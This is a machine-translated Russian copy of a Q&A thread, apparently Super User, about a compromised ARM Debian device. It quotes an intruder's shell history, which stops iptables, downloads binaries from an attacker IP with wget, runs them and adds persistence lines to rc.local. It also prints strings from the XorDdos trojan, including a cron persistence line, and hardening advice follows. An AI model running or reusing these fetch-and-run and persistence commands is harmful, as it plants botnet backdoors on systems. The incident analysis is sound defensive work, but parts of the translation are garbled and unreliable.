Я только что получил взломан?

Я разрабатываю потребительский продукт, и он должен быть подключен к Интернету, так что, как и ожидалось, он подключен к Интернету, чтобы я мог его правильно развить.

Я ушел на час или два, и когда я вернулся в свой офис, я заметил некоторые странные команды, написанные на терминале.

Глядя на файл журнала Linux под названием auth.log, я вижу следующие строки (среди многих других):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

IP-адрес 40.127.205.162 оказывается принадлежащим Microsoft .

Вот куча команд, которые использовались во время моего отсутствия:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

И еще:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

Я совершенно не знал об этом. Как я могу защитить свой продукт должным образом?

Я хочу опубликовать полный файл auth.log. Как это сделать?

Кроме того, загруженный файл yjz1, по-видимому, является троянцем Linux и все это, по-видимому, выполняется какой-то группой хакеров в соответствии с http: //anti- hacker-alliance.com/index.php?ip=40.127.205.162

Должен ли я позвонить Microsoft и поговорить с ними? Что мне делать?

480 голосов | спросил vaid 1 FebruaryEurope/MoscowbMon, 01 Feb 2016 14:21:48 +0300000000pmMon, 01 Feb 2016 14:21:48 +030016 2016, 14:21:48

9 ответов


475

РЕДАКТИРОВАТЬ 2 :

есть одна веская причина, почему этот пост привлекает столько внимания: вам удалось записать всю живую сессию злоумышленника на вашем ПК. Это очень отличается от нашего повседневного опыта, когда мы имеем дело с открытием последствий своих действий и пытаемся их исправить. Здесь мы видим его на работе, видим, что у него возникают проблемы с созданием бэкдора, повторение шагов, работа лихорадочно (возможно, потому, что он сидел за вашим столом, как было предложено выше, или, возможно, и, на мой взгляд, более вероятно, потому что он был не удалось запустить его вредоносное ПО в системе, прочтите ниже) и попытайтесь развернуть полностью автономные инструменты управления. Это то, что исследователи безопасности ежедневно наблюдают со своими медовыми ловушками . Для меня это очень редкий шанс и источник некоторого развлечения.


Вы определенно были взломаны. Доказательством этого является не , взятый из фрагмента файла auth.log, который вы показывали, потому что это сообщает о неудачной попытке входа в систему, происходящей за короткий промежуток времени (две секунды ). Вы заметите, что во второй строке указывается Failed password, а третий сообщает об отключении pre-auth: парень пытался и не смог.

Свидетельство приходит вместо этого из содержимого двух файлов http://222.186.30.209:65534/yjz и http://222.186.30.209:65534/yjz1 которую злоумышленник загрузил в вашу систему.

В настоящее время сайт открыт для всех, кто загрузил их, что я и сделал. Сначала я запустил file, который показал:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

Затем я привел их на 64-разрядную виртуальную машину Debian. рассмотрение их содержимого через команду strings выявило много подозрительных (ссылка на различные известные атаки, на команды, которые должны быть заменены, скрипт, который явно использовался для создания новой службы, и так далее).

Затем я произвел MD5-хэши обоих файлов и отправил их в базу данных хеша Cymru , чтобы узнать, являются ли они известными агентами вредоносные программы. Пока yjz нет, yjz1 есть, а Cymru сообщает о вероятности обнаружения антивирусным программным обеспечением 58%. В нем также говорится, что этот файл был замечен в последний раз примерно три дня назад, поэтому он достаточно недавний.

Запуск clamscan (входит в пакет clamav) по двум файлам I получено:

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

, поэтому мы теперь уверены, что стандартное программное обеспечение Linux может идентифицировать его.

Что вы должны делать?

Хотя это и не ново, ни система не очень новая, см. этот январь. 2015, например, о XorDdos . Поэтому большинство бесплатных пакетов должно быть в состоянии удалить его. Вы должны попробовать: clamav, rkhunter, chkrootkit. У меня Googled вокруг, и видел, что они утверждают, что смогли это обнаружить. Используйте их, чтобы проверить работу предшественника, но после запуска этих трех программ вы должны быть готовы к работе.

Что касается большего вопроса, what should you do to prevent future infections, ответ Journeyman является хорошим первым шагом. Просто имейте в виду, что это постоянная борьба, которую все мы (включая меня!) Вполне могли потерять, даже не зная об этом.

ИЗМЕНИТЬ

В приглашении Виктора Тота (косвенного) я хотел бы добавить несколько комментариев. Несомненно, что злоумышленник столкнулся с некоторыми трудностями: он загружает два разных инструмента взлома, несколько раз изменяет свои разрешения, перезапускает их несколько раз и много раз пытается отключить брандмауэр. Легко догадаться, что происходит: он ожидает, что его инструменты взлома откроют канал связи по отношению к одному из его зараженных ПК (см. Ниже), и, когда он не видит, что этот новый канал появляется на его управляющем GUI, опасается его взлома инструмент блокируется брандмауэром, поэтому он повторяет процедуру установки. Я согласен с Виктором Тотом в том, что этот конкретный этап его операции, похоже, не приносит ожидаемых плодов, но я хотел бы настоятельно рекомендовать вам не недооценивать степень ущерба, нанесенного вашему компьютеру.

Здесь я предоставляю частичный вывод строк strings yjz1:

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

Это свидетельствует о подделке сервисов (в /etc/init.d и в /etc/rc.d) с помощью crontab, с файлом истории mysql и несколькими файлами в proc, которые являются ссылками на bash (который предлагает заказную установлена ​​мошенническая версия вашей оболочки). Затем программа генерирует HTTP-запрос (на китайский язык,

 Accept-Language: zh-cn

, который дает сущность вышеприведенному замечанию Дэвида Шварца), что может создать еще больший хаос. В запросе двоичные файлы (Content-Type: application/x-www-form-urlencoded) должны быть загружены на атакуемый компьютер (GET) и загружены на управляющую машину (POST). Я не мог установить, что будет загружено на атакуемый компьютер, но, учитывая небольшой размер как yjz, так и yjz1 (1.1MB и 600kB, соответственно), я могу рисковать предположить, что большинство файлов, необходимых для скрытия руткита, ie измененных версий ls, netstat, ps, ifconfig, ..., будет загружен таким образом. И это объясняет лихорадочные попытки злоумышленника получить эту загрузку.

Нет уверенности в том, что вышеизложенное исчерпывает все возможности: у нас, конечно же, отсутствует часть транскрипта (между строками 457 и 481), и мы не видим выхода из системы; более того, особенно тревожные строки 495-497,

cd /tmp;  ./yd_cd/make

, которые относятся к файлу, который мы не видели, и который может быть компиляцией: если это так, это означает, что злоумышленник (наконец?) понял, что проблема с его исполняемыми файлами, и пытается его исправить, и в этом случае атакованный компьютер пошел навсегда. [Фактически, две версии вредоносного ПО, которые злоумышленник загрузил на взломанный компьютер (и я на свою 64-разрядную виртуальную машину Debian), предназначены для неподходящей архитектуры x86, а только имя взломанного ПК отдает тот факт, что он имел дело с архитектурой руки].

Причина, по которой я написал это изменение, - это настоятельно рекомендовать вам как можно лучше расчесывать вашу систему с помощью профессионального инструмента или переустанавливать с нуля.

И, кстати, если это окажется полезным для всех, это список IP-адресов 331 , к которым пытается подключиться yjz. Этот список настолько велик (и, вероятно, ему суждено стать еще больше), что я считаю, что это причина для подделки mysql. Список, предоставленный другим бэкдором, идентичен, что, я полагаю, является причиной отказа от такой важной части информации в открытом (I think , что злоумышленник не хотел прилагать усилия сохраните их в формате ядра, поэтому он поместил весь список в файл с четким текстом, который, вероятно, считывается всеми его бэкдорами, в зависимости от того, какая ОС)

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

Следующий код

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

в приведенном выше списке показывает, что 302 из общего адреса 331 находятся в материковом Китае, остальные - в Гонконге,Монголия, Тайвань. Это добавляет дальнейшую поддержку утверждения Дэвида Шварца о том, что это в основном китайское бот-кольцо.

РЕДАКТИРОВАТЬ 3

По просьбе @ vaid (автор OP, прочитайте его комментарий ниже) я добавлю комментарий о том, как усилить безопасность базовой Linux-системы (для системы, предоставляющей множество сервисов, это гораздо более сложная тема ). vaid утверждает, что он сделал следующее:

  
  1. Переустановите систему

  2.   
  3. изменил пароль root на пароль длиной 16 символов со смешанными буквами нижнего и верхнего регистра и символами и цифрами.

  4.   
  5. Изменено имя пользователя для 6-символьного имени пользователя и применяется тот же пароль, что и для root

  6.   
  7. изменил порт SSH на что-то более 5000

  8.   
  9. отключен вход в систему SSH root.

  10.   

Это нормально (за исключением того, что я использую порт выше 10 000, поскольку многие полезные программы используют порты ниже 10 000). Но Я не могу особо подчеркнуть необходимость использования криптографических ключей для входа ssh вместо паролей. Я приведу вам личный пример. На одном из моих VPS я не знал, нужно ли менять порт ssh; Я оставил его в 22, но использовал криптовые ключи для аутентификации. У меня было сотни попыток взлома в день , ни один не удалось. Когда, уставая каждый день проверять, что никто не преуспел, я в конечном итоге переключил порт на что-то выше 10000, попытки взлома пошли к нулю. Имейте в виду, что это не то, что хакеры глупы (их нет!), Они просто охотятся на более легкую добычу.

Легко активировать крипто-ключ с RSA в качестве алгоритма подписи, см. комментарий ниже, Ян Гудек (спасибо!):

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

Теперь все, что вам нужно сделать, - скопировать файл id_rsa на машину, с которой вы хотите подключиться (в каталоге .ssh, также chmod 'ed до 700), затем выполните команду

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa [email protected]

Если вы уверены, что это работает, отредактируйте на сервере (= машине, к которой вы хотите подключиться) файл /etc/ssh/sshd_config, и измените строку

#PasswordAuthentication yes

to

PasswordAuthentication no

и перезапустите службу ssh (service ssh restart или systemctl restart ssh) или что-то вроде этого, в зависимости от дистрибутива).

Это выдержит много. Фактически, в настоящее время нет известных эксплойтов против текущих версий openssh v2 и RSA, которые используются openssh v2.

Наконец, чтобы действительно заткнуть ваш компьютер, вам необходимо настроить брандмауэр (netfilter /iptables) следующим образом:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

Это: 1) позволяет ssh-соединения как из локальной сети, так и из WAN, 2) разрешает все входные данные, которые были вызваны вашими запросами (например, при загрузке веб-страницы), 3) отбрасывает все остальное на входе, 4) позволяет все на выходе, а 5-6) позволяет все на интерфейсе loopback.

По мере роста ваших потребностей и открытия большего количества портов вы можете сделать это, добавив в верхней части списка такие правила, как:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

, чтобы пользователи могли обращаться к вашему веб-браузеру.

ответил MariusMatutiae 1 FebruaryEurope/MoscowbMon, 01 Feb 2016 19:05:40 +0300000000pmMon, 01 Feb 2016 19:05:40 +030016 2016, 19:05:40
140

Добро пожаловать в Интернет - где любой открытый SSH-сервер, скорее всего, получит зондирование, грубое принуждение и нанесет ему различные унижения.

Чтобы начать, вам необходимо полностью стереть хранилище на продукте. Обрати его, если вы хотите передать его для судебной экспертизы, но установка Linux на него теперь подозрительна.

Немного догадок, но

  1. У вас есть грубый принудительный или общий пароль. Это защита от неизвестности, но вы не хотите, чтобы пароль словаря или использовал учетную запись root, открытую для SSH. Отключите root SSH-доступ, если это опция или, по крайней мере, измените имя, чтобы они угадали оба. SSHing как root - это ужасная практика безопасности. Если вы должны использовать root, войдите в систему как другой пользователь и используйте su или sudo для переключения.

  2. В зависимости от продукта вы можете каким-либо образом заблокировать доступ SSH. Полное блокирование звучит как хорошая идея и позволяет пользователям открывать его по мере необходимости . В зависимости от того, какие ресурсы вы можете сэкономить, учтите только разрешение IP-адресов в вашей собственной подсети или какую-то систему регулирования входа. Если вы не нуждаетесь в этом в конечном продукте, убедитесь, что он выключен.

  3. Используйте нестандартный порт. Безопасность снова скрывается, но это означает, что злоумышленнику нужно настроить таргетинг на ваш порт.

  4. Никогда не используйте пароль по умолчанию. Лучший подход, который я видел, - случайное создание пароля для определенного устройства и отправка его с вашим продуктом. Лучшая практика - это аутентификация на основе ключей, но я не знаю, как вы подходите к этому продукту на массовом рынке.

ответил Journeyman Geek 1 FebruaryEurope/MoscowbMon, 01 Feb 2016 16:24:16 +0300000000pmMon, 01 Feb 2016 16:24:16 +030016 2016, 16:24:16
33

О, ты определенно взломан. Кто-то, похоже, смог получить учетные данные root и попытался загрузить троянца в вашу систему. MariusMatutiae предоставил анализ полезной нагрузки.

Возникают два вопроса: а) Был ли атакующий успешным? И б) что вы можете с этим сделать?

Ответ на первый вопрос может быть нет. Обратите внимание, как злоумышленник неоднократно пытается загрузить и запустить полезную нагрузку, по-видимому, безуспешно. Я подозреваю, что что-то (SELinux, возможно?) Стояло на его пути.

HOWEVER: злоумышленник также изменил ваш файл /etc/rc.d/rc.local, в надежде, что при перезагрузке вашей системы будет активирована полезная нагрузка. Если вы еще не перезапустили систему, не перезагружайтесь, пока не удалите эти изменения из /etc/rc.d/rc.local. Если вы уже перезапустили его ... ну, тяжелая удача.

Что вы можете с этим сделать: самое безопасное в том, чтобы стереть систему и переустановить с нуля. Но это не всегда может быть вариантом. Значительно менее безопасная вещь заключается в том, чтобы проанализировать то, что произошло, и стереть все ее следы, если сможете. Опять же, если вы еще не перезапустили систему, возможно, все, что требуется, - это очистить /etc/rc.d/rc.local, удалить все, что было скачано злоумышленником, и, что не менее важно, изменить darn password!

Однако, если злоумышленник уже смог запустить полезную нагрузку, могут быть другие изменения в вашей системе, которые могут быть трудно обнаружить. Именно поэтому полная очистка - это единственный безопасный (и рекомендованный) вариант. Как вы указали, оборудование, о котором идет речь, может быть целью тестирования /разработки, поэтому, возможно, его вытирание не так болезненно, как может быть в других случаях.

Обновление . Несмотря на то, что я написал о возможном восстановлении, я хочу повторить рекомендацию очень сильной MariusMatutiae не недооценивать потенциальный ущерб, причиненный этой полезной нагрузкой, и степень что могло бы скомпрометировать целевую систему.

ответил Viktor Toth 2 FebruaryEurope/MoscowbTue, 02 Feb 2016 00:06:58 +0300000000amTue, 02 Feb 2016 00:06:58 +030016 2016, 00:06:58
17

Мой sshd-honeypot также видел такую ​​атаку. Первые загрузки с этого URL начались 2016-01-29 10:25:33, и атаки все еще продолжаются. Атаки происходят из

103.30.4.212
111.68.6.170
118.193.228.169

Ввод от этих злоумышленников был:

сервис iptables stop
wget http://222.186.30.209:65534/yjz1
nohup /root /yjz1 & gt /dev /null 2 ​​& amp; amp1 & amp; amp;
chmod 0777 yjz1
chmod u + x yjz1
./yjz1 &
chmod u + x yjz1
./yjz1 &
cd /tmp

Так что никаких действий, кроме установки бэкдора на последующий период, не будет.

ответил Gunther Nitzsche 2 FebruaryEurope/MoscowbTue, 02 Feb 2016 13:34:38 +0300000000pmTue, 02 Feb 2016 13:34:38 +030016 2016, 13:34:38
11

Все здесь предлагают солидные советы, но, чтобы быть ясными, ваши приоритеты должны быть подкреплены и проверять, что вам действительно нужно от этой системы, а затем вытирать ее новой установкой из известных безопасных носителей.

Прежде чем подключать свой недавно установленный хост к Интернету, выполните следующие действия:

  1. Создайте нового пользователя без полномочий root и войдите в систему как пользователь. Вам никогда не нужно входить в систему под именем root, просто sudo (подставлять пользователя), когда это необходимо.

  2. Установите SE Linux, параметры конфигурации, которые обеспечивают обязательный контроль доступа: https://wiki.debian.org/SELinux/Setup

  3. Рассмотрим аппаратный брандмауэр между вашим офисом /домом и Интернетом. Я использую MicroTik, который имеет отличную поддержку сообщества: http://routerboard.com/.

Предполагая, что вы находитесь на графике завершения оплачиваемой работы, по крайней мере, № 1. # 3 - это быстро и дешево, но вам придется либо ждать в пакете по почте, либо ездить в магазин.

ответил pyn 2 FebruaryEurope/MoscowbTue, 02 Feb 2016 02:32:05 +0300000000amTue, 02 Feb 2016 02:32:05 +030016 2016, 02:32:05
11
  1. Является debian-armhf вашим именем хоста? Или вы используете установку по умолчанию с настройками по умолчанию? Нет проблем с этим, но вы не должны позволять хосту напрямую подвергаться воздействию Интернета (т. Е. Не защищено вашим модемом, по крайней мере).

  2. Похоже, настоящая проблема исходит от 222.186.30.209 (см. http://anti-hacker-alliance.com/index.php?ip=222.186.30.209 ). Вы не должны прислушиваться к IP-адресу Microsoft. IP-адреса более или менее могут быть подделаны /подделаны довольно легко.

  3. Обычным способом подключения к Интернету является пересылка известного списка портов из вашего общедоступного IP (например, 8.8.8.8) на ваш локальный (например, 192.168.1.12).

    • Например, не пересылайте все входящие соединения из 8.8.8.8 (общедоступные) в 192.168.1.12 (локальные).

    • Перенаправить только порты 22 и 25 (ssh и входящая почта, соответственно). Конечно, вы должны иметь обновленные пакеты ssh и smtp .

  4. Что дальше? Отключите хост и измените любые пароли (на любых компьютерах, связанных с организацией), которые жестко закодированы в сценариях оболочки (стыдно за вас!) В /etc/shadow.

ответил Archemar 1 FebruaryEurope/MoscowbMon, 01 Feb 2016 16:03:45 +0300000000pmMon, 01 Feb 2016 16:03:45 +030016 2016, 16:03:45
9

Как утверждают другие, довольно ясно, что безопасность вашего сервера была скомпрометирована. Самое безопасное - протирать эту машину и переустановить.

Чтобы ответить на вторую часть вашего вопроса, если вы не можете использовать открытый ключ, я рекомендую хотя бы настроить Fail2Ban и запустить SSH на нестандартном порту. Я также отключил доступ к SSH для root.

Fail2Ban поможет смягчить атаки грубой силы, запретив IP-адреса, которые не работают для входа в систему определенное количество раз.

Настройка sshd для прослушивания на нестандартном порту, по крайней мере, поможет уменьшить видимость вашего SSH-сервера крошечным битом. Отключение корневого входа также слегка уменьшает профиль атаки. В /etc/sshd_config:

PermitRootLogin no
Port xxxxx

При отключенном входе root вам необходимо либо переключиться на root с помощью su после подключения, либо (более предпочтительно) использовать sudo для выполнения привилегированных команд.

ответил Nate H 2 FebruaryEurope/MoscowbTue, 02 Feb 2016 19:58:56 +0300000000pmTue, 02 Feb 2016 19:58:56 +030016 2016, 19:58:56
8

Серверы SSH постоянно подвергаются атакам в Интернете. Несколько вещей, которые вы делаете:

  1. Убедитесь, что вы используете безопасный случайный пароль для компьютеров с доступом в Интернет. Я имею в виду 16 символов и более и полностью случайный. Используйте менеджер паролей, поэтому вам не нужно его запоминать. Если вы можете запомнить свой пароль, это слишком просто.

  2. Если вам не нужен SSH, выключите его. Если вам это нужно, но не нужно, чтобы он был общедоступным, запустите его на высоком нестандартном номере порта. Это значительно сократит количество попыток взлома. Да, выделенный хакер может выполнять сканирование портов, но автоматические боты его не найдут.

В отрывке из вашего журнала авторизации отображается неудачная попытка. Однако, если вы посмотрите дальше, вы, несомненно, увидите успешный вход в систему. Это вы используете простой пароль, тогда тривиально для бота, чтобы войти.

Вам необходимо изолировать этот аппарат от сети. Очень тщательно получите то, что вам нужно, и затем вытрите его.

ответил user1751825 2 FebruaryEurope/MoscowbTue, 02 Feb 2016 02:51:29 +0300000000amTue, 02 Feb 2016 02:51:29 +030016 2016, 02:51:29
6

Первое, что должны сделать каждый пользователь /каждый после настройки фронтального Linux /Unix-сервера, - немедленно отключить root.

Ваша система была скомпрометирована. У вас есть журнал истории выполнения, который может быть классным, чтобы посмотреть в какой-то степени. Но честно раскрывая специфику, это немного придирчиво и не поможет вам защитить ваш сервер. Он показывает всевозможные глупости, которые случаются, когда ботнет порождает вредоносное ПО - это, скорее всего, то, что заразило ваш сервер, - заражает систему Linux. ответ, предоставленный @MariusMatutiae , приятный и продуманный, и есть другие, которые повторяют, что вы были взломаны через root, который является вредным для вредоносного ПО /ботнета.

